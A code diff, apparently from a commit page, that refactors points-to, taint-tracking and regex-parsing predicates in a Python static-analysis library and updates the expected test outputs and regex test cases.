this.(LocalVariable).getScope() = f and
|
||||
this.(LocalVariable).getAStore().getScope() != f
|
||||
)
|
||||
}
|
||||
|
||||
override ControlFlowNode getAnImplicitUse() {
|
||||
|
||||
@@ -202,10 +202,6 @@ predicate function_can_never_return(FunctionObject func) {
|
||||
/** Python specific sub-class of generic EssaNodeDefinition */
|
||||
class PyNodeDefinition extends EssaNodeDefinition {
|
||||
|
||||
PyNodeDefinition() {
|
||||
this.getSourceVariable().hasDefiningNode(this.getDefiningNode())
|
||||
}
|
||||
|
||||
override string getRepresentation() {
|
||||
result = this.getAQlClass()
|
||||
}
|
||||
|
||||
@@ -780,31 +780,19 @@ module PointsTo {
|
||||
)
|
||||
)
|
||||
}
|
||||
/*
|
||||
pragma [noinline]
|
||||
private Object version_hex_compare(CompareNode cmp, PointsToContext context) {
|
||||
exists(ControlFlowNode lesser, ControlFlowNode greater, boolean strict |
|
||||
inequality(cmp, lesser, greater, strict) and
|
||||
exists(TupleObject tuple, int comp |
|
||||
points_to(lesser, context, tuple, _, _) and
|
||||
points_to(greater, context, theSysHexVersionNumber(), _, _) and
|
||||
comp = version_tuple_compare(tuple)
|
||||
|
||||
/** Holds if `cls` is an element of the tuple referred to by `f`.
|
||||
* Helper for relevant_subclass_relation
|
||||
*/
|
||||
private predicate element_of_points_to_tuple(ControlFlowNode f, PointsToContext context, ClassObject cls) {
|
||||
exists(TupleObject t |
|
||||
points_to(f, context, t, _, _) |
|
||||
cls = t.getBuiltinElement(_)
|
||||
or
|
||||
points_to(lesser, context, theSysHexVersionNumber(), _, _) and
|
||||
points_to(greater, context, tuple, _, _) and
|
||||
comp = version_hex_compare(tuple)*-1
|
||||
|
|
||||
comp = -1 and result = theTrueObject()
|
||||
or
|
||||
comp = 0 and strict = false and result = theTrueObject()
|
||||
or
|
||||
comp = 0 and strict = true and result = theFalseObject()
|
||||
or
|
||||
comp = 1 and result = theFalseObject()
|
||||
)
|
||||
points_to(t.getSourceElement(_), _, cls, _, _)
|
||||
)
|
||||
}
|
||||
*/
|
||||
|
||||
private predicate compare_expr_points_to(CompareNode cmp, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) {
|
||||
equality_expr_points_to(cmp, context, value, cls, origin)
|
||||
or
|
||||
@@ -2046,18 +2034,14 @@ module PointsTo {
|
||||
private boolean issubclass_test_evaluates_boolean(ControlFlowNode expr, ControlFlowNode use, PointsToContext context, Object val, ClassObject cls, ControlFlowNode origin) {
|
||||
points_to(use, context, val, cls, origin) and
|
||||
exists(ControlFlowNode clsNode |
|
||||
BaseFilters::issubclass(expr, clsNode, use) |
|
||||
exists(ClassObject scls |
|
||||
points_to(clsNode, context, scls, _, _) |
|
||||
result = Types::is_improper_subclass_bool(val, scls)
|
||||
)
|
||||
or exists(TupleObject t, ClassObject scls |
|
||||
points_to(clsNode, context, t, _, _) and
|
||||
result = Types::is_improper_subclass_bool(val, scls) and result = true
|
||||
BaseFilters::issubclass(expr, clsNode, use)
|
||||
|
|
||||
scls = t.getBuiltinElement(_)
|
||||
exists(ClassObject scls |
|
||||
result = Types::is_improper_subclass_bool(val, scls)
|
||||
|
|
||||
points_to(clsNode, context, scls, _, _)
|
||||
or
|
||||
points_to(t.getSourceElement(_), _, scls, _, _)
|
||||
element_of_points_to_tuple(clsNode, context, scls) and result = true
|
||||
)
|
||||
or
|
||||
val = unknownValue() and result = maybe()
|
||||
@@ -2070,18 +2054,14 @@ module PointsTo {
|
||||
private boolean isinstance_test_evaluates_boolean(ControlFlowNode expr, ControlFlowNode use, PointsToContext context, Object val, ClassObject cls, ControlFlowNode origin) {
|
||||
points_to(use, context, val, cls, origin) and
|
||||
exists(ControlFlowNode clsNode |
|
||||
BaseFilters::isinstance(expr, clsNode, use) |
|
||||
exists(ClassObject scls |
|
||||
points_to(clsNode, context, scls, _, _) |
|
||||
result = Types::is_improper_subclass_bool(cls, scls)
|
||||
)
|
||||
or exists(TupleObject t, ClassObject scls |
|
||||
points_to(clsNode, context, t, _, _) and
|
||||
result = Types::is_improper_subclass_bool(cls, scls) and result = true
|
||||
BaseFilters::isinstance(expr, clsNode, use)
|
||||
|
|
||||
scls = t.getBuiltinElement(_)
|
||||
exists(ClassObject scls |
|
||||
result = Types::is_improper_subclass_bool(cls, scls)
|
||||
|
|
||||
points_to(clsNode, context, scls, _, _)
|
||||
or
|
||||
points_to(t.getSourceElement(_), _, scls, _, _)
|
||||
element_of_points_to_tuple(clsNode, context, scls) and result = true
|
||||
)
|
||||
or
|
||||
val = unknownValue() and result = maybe()
|
||||
@@ -2458,18 +2438,12 @@ module PointsTo {
|
||||
}
|
||||
|
||||
private predicate relevant_subclass_relation(ClassObject cls, ClassObject sup) {
|
||||
exists(ControlFlowNode supnode, ControlFlowNode use |
|
||||
exists(ControlFlowNode supnode |
|
||||
points_to(supnode, _, sup, _, _)
|
||||
or exists(TupleObject t |
|
||||
points_to(supnode, _, t, _, _) |
|
||||
sup = t.getBuiltinElement(_)
|
||||
or
|
||||
points_to(t.getSourceElement(_), _, sup, _, _)
|
||||
)
|
||||
element_of_points_to_tuple(supnode, _, sup)
|
||||
|
|
||||
BaseFilters::issubclass(_, supnode, use) and points_to(use, _, cls, _, _)
|
||||
or
|
||||
BaseFilters::isinstance(_, supnode, use) and points_to(use, _, _, cls, _)
|
||||
subclass_test(supnode, cls)
|
||||
)
|
||||
or
|
||||
exists(ClassObject sub |
|
||||
@@ -2478,6 +2452,17 @@ module PointsTo {
|
||||
)
|
||||
}
|
||||
|
||||
/** Holds if there is a subclass test of `f` against class `cls`.
|
||||
* Helper for relevant_subclass_relation.
|
||||
*/
|
||||
private predicate subclass_test(ControlFlowNode f, ClassObject cls) {
|
||||
exists(ControlFlowNode use |
|
||||
BaseFilters::issubclass(_, f, use) and points_to(use, _, cls, _, _)
|
||||
or
|
||||
BaseFilters::isinstance(_, f, use) and points_to(use, _, _, cls, _)
|
||||
)
|
||||
}
|
||||
|
||||
cached ClassList get_mro(ClassObject cls) {
|
||||
result = new_style_mro(cls) and is_new_style_bool(cls) = true
|
||||
or
|
||||
|
||||
@@ -565,10 +565,8 @@ abstract class RegexString extends Expr {
|
||||
this.sequenceOrQualified(start, end) and not this.isOptionDivider(start-1) and
|
||||
item_start = start
|
||||
or
|
||||
exists(int endp1 | end = endp1-1 |
|
||||
start = end and not this.item_end(start) and this.isOptionDivider(endp1) and
|
||||
start = end and not this.item_end(start) and this.isOptionDivider(end) and
|
||||
item_start = start
|
||||
)
|
||||
or
|
||||
exists(int mid |
|
||||
this.subalternation(start, mid, _) and
|
||||
|
||||
@@ -416,7 +416,7 @@ abstract class TaintSource extends @py_flow_node {
|
||||
* Users of the taint tracking library can override this
|
||||
* class to provide their own sources on the ESSA graph.
|
||||
*/
|
||||
abstract class TaintedDefinition extends EssaNode {
|
||||
abstract class TaintedDefinition extends EssaNodeDefinition {
|
||||
|
||||
/**
|
||||
* Holds if `this` is a source of taint kind `kind`
|
||||
@@ -1067,7 +1067,9 @@ library module TaintFlowImplementation {
|
||||
not exists(Sanitizer san |
|
||||
san.sanitizingDefinition(kind, def)
|
||||
or
|
||||
san.sanitizingNode(kind, def.(EssaNode).getDefiningNode())
|
||||
san.sanitizingNode(kind, def.(EssaNodeDefinition).getDefiningNode())
|
||||
or
|
||||
san.sanitizingNode(kind, def.(EssaNodeRefinement).getDefiningNode())
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
@@ -698,10 +698,8 @@
|
||||
| r_regressions.py:61 | obj_0 = ParameterDefinition |
|
||||
| r_regressions.py:61 | obj_3 = phi(obj_1, obj_2) |
|
||||
| r_regressions.py:62 | is_class_0 = isinstance() |
|
||||
| r_regressions.py:62 | name_2 = CallsiteRefinement(name_1) |
|
||||
| r_regressions.py:62 | obj_1 = ArgumentRefinement(obj_0) |
|
||||
| r_regressions.py:64 | is_class_1 = Pi(is_class_0) [true] |
|
||||
| r_regressions.py:64 | name_3 = CallsiteRefinement(name_2) |
|
||||
| r_regressions.py:66 | func_1 = obj |
|
||||
| r_regressions.py:66 | is_class_2 = Pi(is_class_0) [false] |
|
||||
| r_regressions.py:68 | _wrapper_0 = FunctionExpr |
|
||||
@@ -709,7 +707,6 @@
|
||||
| r_regressions.py:68 | func_2 = phi(func_0, func_1) |
|
||||
| r_regressions.py:68 | is_class_3 = phi(is_class_1, is_class_2) |
|
||||
| r_regressions.py:68 | kwargs_0 = ParameterDefinition |
|
||||
| r_regressions.py:68 | name_4 = phi(name_2, name_3) |
|
||||
| r_regressions.py:68 | self_0 = ParameterDefinition |
|
||||
| r_regressions.py:73 | is_class_4 = Pi(is_class_3) [true] |
|
||||
| r_regressions.py:73 | obj_2 = ArgumentRefinement(obj_1) |
|
||||
|
||||
@@ -103,7 +103,6 @@
|
||||
| b_condition.py:82 | Local Variable foo | ControlFlowNode for callable() | refinement |
|
||||
| b_condition.py:83 | Local Variable bar | ControlFlowNode for bar | definition |
|
||||
| b_condition.py:83 | Local Variable foo | Entry node for Function bar | definition |
|
||||
| b_condition.py:84 | Local Variable foo | ControlFlowNode for foo() | refinement |
|
||||
| b_condition.py:87 | Global Variable split_bool1 | ControlFlowNode for split_bool1 | definition |
|
||||
| b_condition.py:87 | Local Variable x | ControlFlowNode for x | definition |
|
||||
| b_condition.py:87 | Local Variable y | ControlFlowNode for y | definition |
|
||||
|
||||
@@ -148,10 +148,8 @@
|
||||
| b_condition.py:79 | t_3 | ControlFlowNode for t |
|
||||
| b_condition.py:81 | bar_2 | Exit node for Function odasa6261 |
|
||||
| b_condition.py:81 | foo_5 | Exit node for Function odasa6261 |
|
||||
| b_condition.py:82 | foo_0 | ControlFlowNode for callable() |
|
||||
| b_condition.py:82 | foo_0 | ControlFlowNode for foo |
|
||||
| b_condition.py:84 | foo_3 | ControlFlowNode for foo |
|
||||
| b_condition.py:84 | foo_3 | ControlFlowNode for foo() |
|
||||
| b_condition.py:87 | x_3 | Exit node for Function split_bool1 |
|
||||
| b_condition.py:87 | x_8 | Exit node for Function split_bool1 |
|
||||
| b_condition.py:87 | y_3 | Exit node for Function split_bool1 |
|
||||
|
||||
@@ -175,10 +175,8 @@
|
||||
| b_condition.py:81 | bar | Exit node for Function odasa6261 |
|
||||
| b_condition.py:81 | foo | Exit node for Function odasa6261 |
|
||||
| b_condition.py:82 | callable | ControlFlowNode for callable |
|
||||
| b_condition.py:82 | foo | ControlFlowNode for callable() |
|
||||
| b_condition.py:82 | foo | ControlFlowNode for foo |
|
||||
| b_condition.py:84 | foo | ControlFlowNode for foo |
|
||||
| b_condition.py:84 | foo | ControlFlowNode for foo() |
|
||||
| b_condition.py:87 | x | Exit node for Function split_bool1 |
|
||||
| b_condition.py:87 | y | Exit node for Function split_bool1 |
|
||||
| b_condition.py:88 | x | ControlFlowNode for x |
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
| (?:(?:\n\r?)\|^)( *)\\S | 3 | 12 | (?:\n\r?)\|^ | 3 | 10 | (?:\n\r?) |
|
||||
| (?:(?:\n\r?)\|^)( *)\\S | 3 | 12 | (?:\n\r?)\|^ | 11 | 12 | ^ |
|
||||
| (?:(?P<n1>^(?:\|x))) | 14 | 16 | \|x | 14 | 14 | |
|
||||
| (?:(?P<n1>^(?:\|x))) | 14 | 16 | \|x | 15 | 16 | x |
|
||||
| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | 3 | 9 | [^%]\|^ | 3 | 7 | [^%] |
|
||||
| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | 3 | 9 | [^%]\|^ | 8 | 9 | ^ |
|
||||
| (?P<name>[\\w]+)\| | 0 | 16 | (?P<name>[\\w]+)\| | 0 | 15 | (?P<name>[\\w]+) |
|
||||
@@ -8,10 +10,13 @@
|
||||
| (\\033\|~{) | 1 | 8 | \\033\|~{ | 6 | 8 | ~{ |
|
||||
| \\\|\\[\\][123]\|\\{\\} | 0 | 16 | \\\|\\[\\][123]\|\\{\\} | 0 | 11 | \\\|\\[\\][123] |
|
||||
| \\\|\\[\\][123]\|\\{\\} | 0 | 16 | \\\|\\[\\][123]\|\\{\\} | 12 | 16 | \\{\\} |
|
||||
| \|x | 0 | 2 | \|x | 0 | 0 | |
|
||||
| \|x | 0 | 2 | \|x | 1 | 2 | x |
|
||||
| ^(^y\|^z)(u$\|v$)$ | 2 | 7 | ^y\|^z | 2 | 4 | ^y |
|
||||
| ^(^y\|^z)(u$\|v$)$ | 2 | 7 | ^y\|^z | 5 | 7 | ^z |
|
||||
| ^(^y\|^z)(u$\|v$)$ | 9 | 14 | u$\|v$ | 9 | 11 | u$ |
|
||||
| ^(^y\|^z)(u$\|v$)$ | 9 | 14 | u$\|v$ | 12 | 14 | v$ |
|
||||
| x\|(?<!\\w)l | 0 | 10 | x\|(?<!\\w)l | 0 | 0 | |
|
||||
| x\| | 0 | 2 | x\| | 0 | 1 | x |
|
||||
| x\| | 0 | 2 | x\| | 2 | 2 | |
|
||||
| x\|(?<!\\w)l | 0 | 10 | x\|(?<!\\w)l | 0 | 1 | x |
|
||||
| x\|(?<!\\w)l | 0 | 10 | x\|(?<!\\w)l | 2 | 10 | (?<!\\w)l |
|
||||
@@ -25,6 +25,8 @@
|
||||
| (?:(?:\n\r?)\|^)( *)\\S | 11 | 12 |
|
||||
| (?:(?:\n\r?)\|^)( *)\\S | 14 | 15 |
|
||||
| (?:(?:\n\r?)\|^)( *)\\S | 17 | 19 |
|
||||
| (?:(?P<n1>^(?:\|x))) | 10 | 11 |
|
||||
| (?:(?P<n1>^(?:\|x))) | 15 | 16 |
|
||||
| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | 5 | 6 |
|
||||
| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | 8 | 9 |
|
||||
| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | 11 | 12 |
|
||||
@@ -62,6 +64,7 @@
|
||||
| \\\|\\[\\][123]\|\\{\\} | 9 | 10 |
|
||||
| \\\|\\[\\][123]\|\\{\\} | 12 | 14 |
|
||||
| \\\|\\[\\][123]\|\\{\\} | 14 | 16 |
|
||||
| \|x | 1 | 2 |
|
||||
| ^(^y\|^z)(u$\|v$)$ | 0 | 1 |
|
||||
| ^(^y\|^z)(u$\|v$)$ | 2 | 3 |
|
||||
| ^(^y\|^z)(u$\|v$)$ | 3 | 4 |
|
||||
@@ -110,6 +113,7 @@
|
||||
| ax{,3} | 3 | 4 |
|
||||
| ax{,3} | 4 | 5 |
|
||||
| ax{,3} | 5 | 6 |
|
||||
| x\| | 0 | 1 |
|
||||
| x\|(?<!\\w)l | 0 | 1 |
|
||||
| x\|(?<!\\w)l | 6 | 8 |
|
||||
| x\|(?<!\\w)l | 9 | 10 |
|
||||
|
||||
@@ -10,6 +10,9 @@
|
||||
| (?:(?:\n\r?)\|^)( *)\\S | first | 6 | 7 |
|
||||
| (?:(?:\n\r?)\|^)( *)\\S | first | 11 | 12 |
|
||||
| (?:(?:\n\r?)\|^)( *)\\S | last | 17 | 19 |
|
||||
| (?:(?P<n1>^(?:\|x))) | first | 10 | 11 |
|
||||
| (?:(?P<n1>^(?:\|x))) | first | 15 | 16 |
|
||||
| (?:(?P<n1>^(?:\|x))) | last | 15 | 16 |
|
||||
| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | first | 0 | 11 |
|
||||
| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | first | 3 | 7 |
|
||||
| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | first | 8 | 9 |
|
||||
@@ -46,6 +49,8 @@
|
||||
| \\\|\\[\\][123]\|\\{\\} | first | 12 | 14 |
|
||||
| \\\|\\[\\][123]\|\\{\\} | last | 6 | 11 |
|
||||
| \\\|\\[\\][123]\|\\{\\} | last | 14 | 16 |
|
||||
| \|x | first | 1 | 2 |
|
||||
| \|x | last | 1 | 2 |
|
||||
| ^(^y\|^z)(u$\|v$)$ | first | 0 | 1 |
|
||||
| ^(^y\|^z)(u$\|v$)$ | first | 2 | 3 |
|
||||
| ^(^y\|^z)(u$\|v$)$ | first | 3 | 4 |
|
||||
@@ -82,6 +87,8 @@
|
||||
| ax{,3} | last | 1 | 2 |
|
||||
| ax{,3} | last | 1 | 6 |
|
||||
| ax{,3} | last | 5 | 6 |
|
||||
| x\| | first | 0 | 1 |
|
||||
| x\| | last | 0 | 1 |
|
||||
| x\|(?<!\\w)l | first | 0 | 1 |
|
||||
| x\|(?<!\\w)l | first | 6 | 8 |
|
||||
| x\|(?<!\\w)l | first | 9 | 10 |
|
||||
|
||||
@@ -2,6 +2,9 @@
|
||||
| (?:(?:\n\r?)\|^)( *)\\S | 0 | 13 | (?:(?:\n\r?)\|^) | 3 | 12 | (?:\n\r?)\|^ |
|
||||
| (?:(?:\n\r?)\|^)( *)\\S | 3 | 10 | (?:\n\r?) | 6 | 9 | \n\r? |
|
||||
| (?:(?:\n\r?)\|^)( *)\\S | 13 | 17 | ( *) | 14 | 16 | * |
|
||||
| (?:(?P<n1>^(?:\|x))) | 0 | 19 | (?:(?P<n1>^(?:\|x))) | 3 | 18 | (?P<n1>^(?:\|x)) |
|
||||
| (?:(?P<n1>^(?:\|x))) | 3 | 18 | (?P<n1>^(?:\|x)) | 10 | 17 | ^(?:\|x) |
|
||||
| (?:(?P<n1>^(?:\|x))) | 11 | 17 | (?:\|x) | 14 | 16 | \|x |
|
||||
| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | 0 | 10 | (?:[^%]\|^) | 3 | 9 | [^%]\|^ |
|
||||
| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | 14 | 19 | (\\w*) | 15 | 18 | \\w* |
|
||||
| (?P<name>[\\w]+)\| | 0 | 15 | (?P<name>[\\w]+) | 9 | 14 | [\\w]+ |
|
||||
|
||||
@@ -41,6 +41,16 @@
|
||||
| (?:(?:\n\r?)\|^)( *)\\S | sequence | 3 | 10 |
|
||||
| (?:(?:\n\r?)\|^)( *)\\S | sequence | 6 | 9 |
|
||||
| (?:(?:\n\r?)\|^)( *)\\S | sequence | 11 | 12 |
|
||||
| (?:(?P<n1>^(?:\|x))) | ^ | 10 | 11 |
|
||||
| (?:(?P<n1>^(?:\|x))) | char | 15 | 16 |
|
||||
| (?:(?P<n1>^(?:\|x))) | choice | 14 | 16 |
|
||||
| (?:(?P<n1>^(?:\|x))) | non-empty group | 0 | 19 |
|
||||
| (?:(?P<n1>^(?:\|x))) | non-empty group | 3 | 18 |
|
||||
| (?:(?P<n1>^(?:\|x))) | non-empty group | 11 | 17 |
|
||||
| (?:(?P<n1>^(?:\|x))) | sequence | 0 | 19 |
|
||||
| (?:(?P<n1>^(?:\|x))) | sequence | 3 | 18 |
|
||||
| (?:(?P<n1>^(?:\|x))) | sequence | 10 | 17 |
|
||||
| (?:(?P<n1>^(?:\|x))) | sequence | 15 | 16 |
|
||||
| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | ^ | 8 | 9 |
|
||||
| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | char | 5 | 6 |
|
||||
| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | char | 11 | 12 |
|
||||
@@ -123,6 +133,9 @@
|
||||
| \\\|\\[\\][123]\|\\{\\} | choice | 0 | 16 |
|
||||
| \\\|\\[\\][123]\|\\{\\} | sequence | 0 | 11 |
|
||||
| \\\|\\[\\][123]\|\\{\\} | sequence | 12 | 16 |
|
||||
| \|x | char | 1 | 2 |
|
||||
| \|x | choice | 0 | 2 |
|
||||
| \|x | sequence | 1 | 2 |
|
||||
| ^(^y\|^z)(u$\|v$)$ | $ | 10 | 11 |
|
||||
| ^(^y\|^z)(u$\|v$)$ | $ | 13 | 14 |
|
||||
| ^(^y\|^z)(u$\|v$)$ | $ | 15 | 16 |
|
||||
@@ -193,6 +206,9 @@
|
||||
| ax{,3} | char | 5 | 6 |
|
||||
| ax{,3} | qualified | 1 | 6 |
|
||||
| ax{,3} | sequence | 0 | 6 |
|
||||
| x\| | char | 0 | 1 |
|
||||
| x\| | choice | 0 | 2 |
|
||||
| x\| | sequence | 0 | 1 |
|
||||
| x\|(?<!\\w)l | char | 0 | 1 |
|
||||
| x\|(?<!\\w)l | char | 6 | 8 |
|
||||
| x\|(?<!\\w)l | char | 9 | 10 |
|
||||
|
||||
@@ -50,3 +50,10 @@ re.compile("", re.VERBOSE|re.DOTALL)
|
||||
re.compile("", flags=re.VERBOSE|re.IGNORECASE)
|
||||
re.search("", None, re.UNICODE)
|
||||
x = re.search("", flags=re.UNICODE)
|
||||
|
||||
#empty choice
|
||||
re.compile(r'|x')
|
||||
re.compile(r'x|')
|
||||
|
||||
#Named group with caret and empty choice.
|
||||
re.compile(r'(?:(?P<n1>^(?:|x)))')
|
||||
|
||||
@@ -133,3 +133,6 @@ VERBOSE_REGEX = r"""
|
||||
|
||||
# Compiled regular expression marking it as verbose
|
||||
ODASA_6786 = re.compile(VERBOSE_REGEX, re.VERBOSE)
|
||||
|
||||
#Named group with caret and empty choice.
|
||||
re.compile(r'(?:(?P<n1>^(?:|x)))')
|
||||
|
||||
Reference in New Issue
Block a user